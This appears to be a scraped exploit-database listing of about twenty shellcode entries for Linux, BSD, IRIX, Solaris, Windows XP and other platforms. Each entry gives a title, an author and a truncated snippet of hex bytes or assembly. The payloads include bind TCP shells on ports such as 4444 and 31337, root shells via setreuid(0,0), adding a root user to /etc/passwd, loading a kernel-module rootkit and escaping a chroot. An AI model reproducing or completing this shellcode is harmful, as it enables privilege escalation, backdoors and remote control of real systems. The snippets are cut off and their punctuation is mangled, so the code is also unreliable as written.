Windows/x86 (XP SP3) - MessageBox Shellcode (11 bytes)

Windows/x86 XP SP3 - MessageBox Shellcode 11 bytes. Shellcode exploit for Windowsx86 platform. Tags: Metasploit Framework MSF / Title: win32/xp pro sp3 MessageBox shellcode 11 bytes Author: d3c0der - d3c0derathotmaildotcom Tested on: WinXP Pro SP3 EN run MessageBox that show an error message...

BSD/x86 - Break chroot (../ 10x Loop) Shellcode (28 bytes)

BSD/x86 - Break chroot ../ 10x Loop Shellcode 28 bytes. Shellcode exploit for BSDx86 platform / One of the smallest chroot shellcodes in the !!world!! it will put '../' 10 times Size 28 bytes OS BSD /rootteam/dev0id rootteam.void.ru [email protected] BITS 32 xor ecx,ecx xor eax,eax push ecx m...

IRIX - stdin-read Shellcode (40 bytes)

IRIX - stdin-read Shellcode 40 bytes. Shellcode exploit for IRIX platform / 40 byte MIPS/Irix PIC stdin-read shellcode. -scut/teso / unsigned long int shellcode = 0x24048cb0, / li $a0, -0x7350 / / dpatch: / 0x0490ffff, / bltzal $a0, dpatch / 0x2804ffff, / slti $a0, $zero, -1 / 0x240fffe3, / li $t...

Linux/x86-64 - Bind TCP (1337/TCP) Shell + Password (pAzzW0rd) + Egghunter Using sys_access() Shellcode (49 bytes)

Linux/x86-64 - Bind TCP 1337/TCP Shell + Password pAzzW0rd + Egghunter Using sysaccess Shellcode 49 bytes. Shellcode exploit for Linuxx86-64 platform ; Author Doreth.Z10 ; ; Linux x8664 Egghunter using sysaccess ; Shellcode size 49 bytes ; global start section .text start: xor rsi, rsi ; Some pre...

IRIX - Bind TCP Shell (/bin/sh) Shellcode (364 bytes)

IRIX - Bind TCP Shell /bin/sh Shellcode 364 bytes. Shellcode exploit for IRIX platform / 364 byte MIPS/Irix PIC listening portshell shellcode. -scut/teso / unsigned long int shellcode = 0x2416fffd, / li $s6, -3 / 0x02c07027, / nor $t6, $s6, $zero / 0x01ce2025, / or $a0, $t6, $t6 / 0x01ce2825, / o...

Linux/x86-64 - Bind TCP (4444/TCP) Shell (/bin/sh) + Password (doomedra) Shellcode (175 bytes)

Linux/x86-64 - Bind TCP 4444/TCP Shell /bin/sh + Password doomedra Shellcode 175 bytes. Shellcode exploit for Linuxx86-64 platform / ;Author - Andriy Brukhovetskyy - doomedraven - SLAEx64 - 1322 ;175 bytes ;http://www.doomedraven.com/2014/05/slaex64-shellbindtcp-with-passcode.html global start...

Solaris/SPARC - Bind TCP Shell Shellcode

Solaris/SPARC - Bind TCP Shell Shellcode. Shellcode exploit for SolarisSPARC platform. Tags: Metasploit Framework MSF Name: singlebindtcp Platforms: Solaris Authors: vlad902 Version: $Revision: 1.2 $ License: This file is part of the Metasploit Exploit Framework and is subject to the same license...

Alpha - execve() Shellcode (112 bytes)

Alpha - execve Shellcode 112 bytes. Shellcode exploit for Alpha platform char shellcode= "\x30\x15\xd9\x43" / subq $30,200,$16 / / $16 = $30 - 200 / $16 must have the shellcode address. However, before / / the bsr instruction, $16 can't have the address. / / This instruction just store the...

Linux/x86 - setreuid(0,0) + execve("/bin/csh", [/bin/csh, NULL]) + XOR Encoded Shellcode (53 bytes)

Linux/x86 - setreuid0,0 + execve"/bin/csh", /bin/csh, NULL + XOR Encoded Shellcode 53 bytes. Shellcode exploit for Linuxx86 platform Title: Linux x86 setreuid 0,0 & execve"/bin/csh", "/bin/csh", NULL + XOR encoded - 53 bytes Author: egeektronic Twitter: @egeektronic Tested on: Slackware 13.37...

Linux/x86 - setreuid(0,0) + execve("/bin/zsh", [/bin/zsh, NULL]) + XOR Encoded Shellcode (53 bytes)

Linux/x86 - setreuid0,0 + execve"/bin/zsh", /bin/zsh, NULL + XOR Encoded Shellcode 53 bytes. Shellcode exploit for Linuxx86 platform Title: Linux x86 setreuid 0,0 & execve"/bin/zsh", "/bin/zsh", NULL + XOR encoded - 53 bytes Author: egeektronic Twitter: @egeektronic Tested on: Slackware 13.37...

OpenBSD/x86 - Load Kernel Module (/tmp/o.o) Shellcode (66 bytes)

OpenBSD/x86 - Load Kernel Module /tmp/o.o Shellcode 66 bytes. Shellcode exploit for OpenBSDx86 platform / The modload shellcode loads /tmp/o.o module very usefull if you have rootkit as kernel module in the /tmp dir and you can easily change the path directly in the code Size 66 bytes OS OpenBSD...

Linux/x86 - Add Root User (w00w00) To /etc/passwd Shellcode (104 bytes)

Linux/x86 - Add Root User w00w00 To /etc/passwd Shellcode 104 bytes. Shellcode exploit for Linuxx86 platform / jmp callw00w00 w00w00: popl %edi jmp w0w0w callw00w00: call w00w00 w0w0w: OPEN ecx=flag ORDONLY, OWRONLY, ... OWRONLY | OAPPEND | OCREAT = 0x441 edx=file mode ebx=address of filename...

IRIX - execve(/bin/sh) Shellcode (68 bytes)

IRIX - execve/bin/sh Shellcode 68 bytes. Shellcode exploit for IRIX platform / 68 byte MIPS/Irix PIC execve shellcode. -scut/teso / unsigned long int shellcode = 0xafa0fffc, / sw $zero, -4$sp / 0x24067350, / li $a2, 0x7350 / / dpatch: / 0x04d0ffff, / bltzal $a2, dpatch / 0x8fa6fffc, / lw $a2, -4$...

IRIX - execve(/bin/sh) Shellcode (43 bytes)

IRIX - execve/bin/sh Shellcode 43 bytes. Shellcode exploit for IRIX platform char shellcode= "\x04\x10\xff\xff" / bltzal $zero, / "\x24\x02\x03\xf3" / li $v0,1011 / "\x23\xff\x02\x14" / addi $ra,$ra,532 / "\x23\xe4\xfe\x08" / addi $a0,$ra,-504 / "\x23\xe5\xfe\x10" / addi $a1,$ra,-496 /...

Linux/x86 - execve(/bin/sh) Shellcode (21 bytes) (3)

Linux/x86 - execve/bin/sh Shellcode 21 bytes 3. Shellcode exploit for Linuxx86 platform / Title: linux/x86 Shellcode execve "/bin/sh" - 21 Bytes Date : 10 Feb 2011 Author : kernelpanik Thanks : cOokie, agix, antrhacks / / xor ecx, ecx mul ecx push ecx push 0x68732f2f ;; hs// push 0x6e69622f ;; ni...

Linux/SPARC - setreuid(0,0) + execve(/bin/sh) Shellcode (64 bytes)

Linux/SPARC - setreuid0,0 + execve/bin/sh Shellcode 64 bytes. Shellcode exploit for LinuxSPARC platform / Linux/SPARC setreuid0,0; execve of /bin/sh shellcode. / char c0de = / anathema / / setreuid0,0; / "\x82\x10\x20\x7e" / mov 126, %g1 / "\x92\x22\x40\x09" / sub %o1, %o1, %o1 / "\x90\x0a\x40\x0...

Linux/x86 - execve(/bin/sh /tmp/p00p) Shellcode (70 bytes)

Linux/x86 - execve/bin/sh /tmp/p00p Shellcode 70 bytes. Shellcode exploit for Linuxx86 platform Author: zillion EMail: [email protected] Home: http://www.safemode.org Linux x86 shellcode that does an execve of /bin/sh /tmp/p00p. File name: execve-tmp-p00p.c / This shellcode will do /bin/sh...

BSD/x86 - symlink /bin/sh sh Shellcode (39 bytes)

BSD/x86 - symlink /bin/sh sh Shellcode 39 bytes. Shellcode exploit for BSDx86 platform /The shellcode calls the symlink and makes the link to the /bin/sh in the current dir. size = 39 bytes OS = BSD written by /rootteam/dev0id rootteam.void.ru BITS 32 jmp short callme main: pop esi xor eax,eax mo...

Linux/SuperH (sh4) - Bind TCP (31337/TCP) Shell (/bin/sh) Shellcode (132 bytes)

Linux/SuperH sh4 - Bind TCP 31337/TCP Shell /bin/sh Shellcode 132 bytes. Shellcode exploit for SuperHSH4 platform / Bind /bin/sh on port 31337 SH4 - 132bytes Dad main: mov 102,r3 mov 2,r4 mov 1,r5 xor r6,r6 mov.l r6,@-r15 mov.l r5,@-r15 mov.l r4,@-r15 mov 1,r4 mov r15,r5 trapa 19 mov r0,r4 mov...

Solaris/SPARC - setreuid(geteuid()) + setregid(getegid()) + execve(/bin/sh) Shellcode

Solaris/SPARC - setreuidgeteuid + setregidgetegid + execve/bin/sh Shellcode. Shellcode exploit for SolarisSPARC platform / Solaris shellcode - setreuidgeteuid, setregidgetegid, execve /bin/sh Claes M. Nyberg 20020124 , / include static char solariscode = / geteuid / "\x82\x10\x20\x18" / mov 24, %...